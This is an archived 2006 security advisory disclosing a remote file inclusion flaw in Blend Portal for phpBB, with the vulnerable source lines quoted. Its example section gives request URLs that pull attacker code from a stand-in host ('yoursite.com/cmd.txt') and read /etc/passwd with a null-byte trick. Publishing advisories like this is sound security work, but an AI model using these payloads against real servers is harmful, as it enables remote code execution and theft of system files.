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TUCoPS :: Web BBS :: Frequently Exploited :: b06-2580.htm

Blend Portal <= 1.2.0 for phpBB 2.x (blend_data/blend_common.php) File Inclusion Vulnerability (20



Advisory: Blend Portal <= 1.2.0 for phpBB 2.x (blend_data/blend_common.php) File Inclusion Vulnerability
Advisory: Blend Portal <= 1.2.0 for phpBB 2.x (blend_data/blend_common.php) File Inclusion Vulnerability



--Security Report--
Advisory: Blend Portal <= 1.2.0 for phpBB 2.x  
(blend_data/blend_common.php) File Inclusion Vulnerability.
---
Author: Mustafa Can Bjorn "nukedx a.k.a nuker" IPEKCI
---
Date: 28/05/06 07:52 PM
---
Contacts:{
ICQ: 10072
MSN/Email: nukedx@nukedx.com 
Web: http://www.nukedx.com 
}
---
Vendor: phpbb-portal (http://www.phpbb-portal.com/) 
Version: 1.2.0 and prior versions must be affected.
About: Via this methods remote attacker can include arbitrary  
internal/external files to phpBB. phpbb_root_path
variable in /blend_data/blend_common.php did not sanitized properly  
before using it.You can find vulnerable code in
blend_common.php at lines 74-77
-Source in blend_common.php-
74: else
75: {
76: include_once($phpbb_root_path . BLEND_DATA_PATH . BLEND_CACHE_PATH  
.'config.'. $phpEx);
77: }
-End of source-
Level: Highly Critical
---
How&Example:
Succesful exploitation needs register_globals on & allow url_fopen on
GET ->  
http://[victim]/[phpBB]/blend_data/blend_common.php?phpbb_root_path=[FILE] 
EXAMPLE ->  
http://[victim]/[phpBB]/blend_data/blend_common.php?phpbb_root_path=http://yoursite.com/cmd.txt? 
EXAMPLE ->  
http://[victim]/[phpBB]/blend_data/blend_common.php?phpbb_root_path=/etc/passwd%00 
---
Timeline:
* 28/05/2006: Vulnerability found.
* 28/05/2006: Contacted with vendor and waiting reply.
---
Exploit: http://www.nukedx.com/?getxpl=41 
---
Original advisory can be found at: http://www.nukedx.com/?viewdoc=41 



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